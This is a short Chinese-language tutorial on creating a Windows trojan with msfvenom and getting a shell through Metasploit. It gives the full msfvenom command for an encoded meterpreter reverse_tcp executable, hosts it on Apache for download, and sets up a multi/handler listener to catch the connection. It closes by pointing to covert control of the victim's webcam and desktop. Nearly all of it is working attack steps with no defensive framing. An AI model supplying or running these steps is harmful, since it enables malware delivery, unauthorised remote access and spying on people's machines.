使用Metasploit和msfvenom创建恶意软件并获取 shell 权限

生成恶意软件：

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.88.129 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/Myon.exe

启用阿帕奇：

systemctl start apache2

下载生成的木马

打开漏洞检测工具

msfdb run

加载攻击模块，查看参数设置

use exploit/multi/handler

show options

设置攻击载荷和监听IP，开始监听

set lhost 192.168...

set payload windows/meterpreter/reverse_tcp

run(或者用exploit)

运行木马，成功建立连接

拿到用户权限后

我们可以进行很多操作，比如强行打开目标机摄像头，直接获取目标机的桌面情况等